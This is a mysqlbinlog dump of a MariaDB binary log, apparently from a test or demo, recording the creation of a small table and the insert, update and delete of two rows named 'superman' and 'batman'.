-------------------------------------------------------------------------------- 1 | /*!50530 SET @@SESSION.PSEUDO_SLAVE_MODE=1*/; 2 | /*!40019 SET @@session.max_insert_delayed_threads=0*/; 3 | /*!50003 SET @OLD_COMPLETION_TYPE=@@COMPLETION_TYPE,COMPLETION_TYPE=0*/; 4 | DELIMITER /*!*/; 5 | # at 4 6 | #160811 12:12:17 server id 1 end_log_pos 245 Start: binlog v 4, server v 5.5.35-MariaDB-log created 160811 12:12:17 7 | # Warning: this binlog is either in use or was not closed properly. 8 | BINLOG ' 9 | IfurVw8BAAAA8QAAAPUAAAABAAQANS41LjM1LU1hcmlhREItbG9nAAAAAAAAAAAAAAAAAAAAAAAA 10 | AAAAAAAAAAAAAAAAAAAAAAAAEzgNAAgAEgAEBAQEEgAA2QAEGggAAAAICAgCAAAAAAAAAAAAAAAA 11 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 12 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 13 | AAAAAAAAAAAAz+WSgw== 14 | '/*!*/; 15 | # at 245 16 | #160811 12:12:29 server id 1 end_log_pos 326 Query thread_id=2 exec_time=0 error_code=0 17 | SET TIMESTAMP=1470888749/*!*/; 18 | SET @@session.pseudo_thread_id=2/*!*/; 19 | SET @@session.foreign_key_checks=1, @@session.sql_auto_is_null=0, @@session.unique_checks=1, @@session.autocommit=1/*!*/; 20 | SET @@session.sql_mode=0/*!*/; 21 | SET @@session.auto_increment_increment=1, @@session.auto_increment_offset=1/*!*/; 22 | /*!\C utf8 *//*!*/; 23 | SET @@session.character_set_client=33,@@session.collation_connection=33,@@session.collation_server=8/*!*/; 24 | SET @@session.lc_time_names=0/*!*/; 25 | SET @@session.collation_database=DEFAULT/*!*/; 26 | create database db2 27 | /*!*/; 28 | # at 326 29 | #160811 12:13:16 server id 1 end_log_pos 442 Query thread_id=2 exec_time=0 error_code=0 30 | SET TIMESTAMP=1470888796/*!*/; 31 | create table db2.t1 (id int primary key,name varchar(50)) 32 | /*!*/; 33 | # at 442 34 | #160811 12:13:24 server id 1 end_log_pos 506 Query thread_id=2 exec_time=0 error_code=0 35 | SET TIMESTAMP=1470888804/*!*/; 36 | BEGIN 37 | /*!*/; 38 | # at 506 39 | # at 549 40 | #160811 12:13:24 server id 1 end_log_pos 549 Table_map: `db2`.`t1` mapped to number 33 41 | #160811 12:13:24 server id 1 end_log_pos 604 Write_rows: table id 33 flags: STMT_END_F 42 | 43 | BINLOG ' 44 | ZPurVxMBAAAAKwAAACUCAAAAACEAAAAAAAEAA2RiMgACdDEAAgMPAjIAAg== 45 | ZPurVxcBAAAANwAAAFwCAAAAACEAAAAAAAEAAv/8AQAAAAhzdXBlcm1hbvwCAAAABmJhdG1hbg== 46 | '/*!*/; 47 | ### INSERT INTO `db2`.`t1` 48 | ### SET 49 | ### @1=1 /* INT meta=0 nullable=0 is_null=0 */ 50 | ### @2='superman' /* VARSTRING(50) meta=50 nullable=1 is_null=0 */ 51 | ### INSERT INTO `db2`.`t1` 52 | ### SET 53 | ### @1=2 /* INT meta=0 nullable=0 is_null=0 */ 54 | ### @2='batman' /* VARSTRING(50) meta=50 nullable=1 is_null=0 */ 55 | # at 604 56 | #160811 12:13:24 server id 1 end_log_pos 631 Xid = 6 57 | COMMIT/*!*/; 58 | # at 631 59 | #160811 12:13:31 server id 1 end_log_pos 695 Query thread_id=2 exec_time=0 error_code=0 60 | SET TIMESTAMP=1470888811/*!*/; 61 | BEGIN 62 | /*!*/; 63 | # at 695 64 | # at 738 65 | #160811 12:13:31 server id 1 end_log_pos 738 Table_map: `db2`.`t1` mapped to number 33 66 | #160811 12:13:31 server id 1 end_log_pos 812 Update_rows: table id 33 flags: STMT_END_F 67 | 68 | BINLOG ' 69 | a/urVxMBAAAAKwAAAOICAAAAACEAAAAAAAEAA2RiMgACdDEAAgMPAjIAAg== 70 | a/urVxgBAAAASgAAACwDAAAAACEAAAAAAAEAAv///AEAAAAIc3VwZXJtYW78AQAAAANsZW/8AgAA 71 | AAZiYXRtYW78AgAAAANsZW8= 72 | '/*!*/; 73 | ### UPDATE `db2`.`t1` 74 | ### WHERE 75 | ### @1=1 /* INT meta=0 nullable=0 is_null=0 */ 76 | ### @2='superman' /* VARSTRING(50) meta=50 nullable=1 is_null=0 */ 77 | ### SET 78 | ### @1=1 /* INT meta=0 nullable=0 is_null=0 */ 79 | ### @2='leo' /* VARSTRING(50) meta=50 nullable=1 is_null=0 */ 80 | ### UPDATE `db2`.`t1` 81 | ### WHERE 82 | ### @1=2 /* INT meta=0 nullable=0 is_null=0 */ 83 | ### @2='batman' /* VARSTRING(50) meta=50 nullable=1 is_null=0 */ 84 | ### SET 85 | ### @1=2 /* INT meta=0 nullable=0 is_null=0 */ 86 | ### @2='leo' /* VARSTRING(50) meta=50 nullable=1 is_null=0 */ 87 | # at 812 88 | #160811 12:13:31 server id 1 end_log_pos 839 Xid = 7 89 | COMMIT/*!*/; 90 | # at 839 91 | #160811 12:13:36 server id 1 end_log_pos 903 Query thread_id=2 exec_time=0 error_code=0 92 | SET TIMESTAMP=1470888816/*!*/; 93 | BEGIN 94 | /*!*/; 95 | # at 903 96 | # at 946 97 | #160811 12:13:36 server id 1 end_log_pos 946 Table_map: `db2`.`t1` mapped to number 33 98 | #160811 12:13:36 server id 1 end_log_pos 993 Delete_rows: table id 33 flags: STMT_END_F 99 | 100 | BINLOG ' 101 | cPurVxMBAAAAKwAAALIDAAAAACEAAAAAAAEAA2RiMgACdDEAAgMPAjIAAg== 102 | cPurVxkBAAAALwAAAOEDAAAAACEAAAAAAAEAAv/8AQAAAANsZW/8AgAAAANsZW8= 103 | '/*!*/; 104 | ### DELETE FROM `db2`.`t1` 105 | ### WHERE 106 | ### @1=1 /* INT meta=0 nullable=0 is_null=0 */ 107 | ### @2='leo' /* VARSTRING(50) meta=50 nullable=1 is_null=0 */ 108 | ### DELETE FROM `db2`.`t1` 109 | ### WHERE 110 | ### @1=2 /* INT meta=0 nullable=0 is_null=0 */ 111 | ### @2='leo' /* VARSTRING(50) meta=50 nullable=1 is_null=0 */ 112 | # at 993 113 | #160811 12:13:36 server id 1 end_log_pos 1020 Xid = 8 114 | COMMIT/*!*/; 115 | DELIMITER ; 116 | # End of log file 117 | ROLLBACK /* added by mysqlbinlog */; 118 | /*!50003 SET COMPLETION_TYPE=@OLD_COMPLETION_TYPE*/; 119 | /*!50530 SET @@SESSION.PSEUDO_SLAVE_MODE=0*/; 120 | --------------------------------------------------------------------------------